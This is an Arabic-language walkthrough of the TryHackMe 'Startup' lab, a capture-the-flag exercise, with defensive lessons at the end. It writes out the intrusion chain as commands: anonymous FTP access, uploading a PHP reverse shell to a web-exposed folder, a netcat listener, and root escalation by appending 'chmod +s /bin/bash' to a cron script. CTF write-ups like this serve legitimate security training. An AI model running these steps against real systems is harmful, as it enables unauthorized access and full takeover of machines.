Startup Room Banner

معلومات عامة

المعلومةالتفاصيل
المنصةTryHackMe
الصعوبةEasy
نظام التشغيلLinux
المهاراتFTP, File Upload RCE, Cron Privesc

المرحلة الأولى: الاستطلاع

# Nmap scan
nmap -sV -sC -p- --min-rate 5000 10.10.X.X

# النتائج:
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     vsftpd 3.0.3
# 22/tcp open  ssh     OpenSSH 7.2p2
# 80/tcp open  http    Apache 2.4.18

المرحلة الثانية: FTP Anonymous Access

ftp 10.10.X.X
# Username: anonymous
# Password: (فارغ)

ftp> ls -la
# نجد مجلد /ftp يحتوي ملفات
# notice.txt, important.jpg

ftp> get notice.txt
ftp> get important.jpg

محتوى notice.txt:

Whoever is leaving these lying around, please stop!

المرحلة الثالثة: Web Enumeration

# فحص الويب
gobuster dir -u http://10.10.X.X -w /usr/share/wordlists/dirb/common.txt

# نجد:
# /files (200)    ← مجلد مشترك مع FTP!

المرحلة الرابعة: RCE عبر PHP Shell Upload

# رفع PHP reverse shell عبر FTP
ftp 10.10.X.X
ftp> put shell.php

# تشغيل netcat listener
nc -lvnp 4444

# تشغيل الـ shell عبر المتصفح
# http://10.10.X.X/files/shell.php

نحصل على Shell!

# تثبيت الـ shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

المرحلة الخامسة: Privilege Escalation

# البحث في الـ logs
ls /incidents/
cat /incidents/suspicious.pcapng

# نجد كلمة سر في ملف الـ pcap
# أو نبحث عن cron jobs
cat /etc/crontab

# نجد script يعمل كـ root
# نعدّله لرفع صلاحياتنا
echo "chmod +s /bin/bash" >> /path/to/script.sh
# ننتظر الـ cron يعمل...
/bin/bash -p

الـ Flags

user.txt:  THM{XXXXXXXXXXXXXXXXXX}
root.txt:  THM{XXXXXXXXXXXXXXXXXX}

الدروس المستفادة

  • Anonymous FTP يجب تعطيله في الأنظمة الإنتاجية
  • مشاركة مجلد FTP مع الويب ثغرة حرجة تسمح بـ RCE
  • Cron Jobs تعمل كـ root مع ملفات قابلة للتعديل = خطر كبير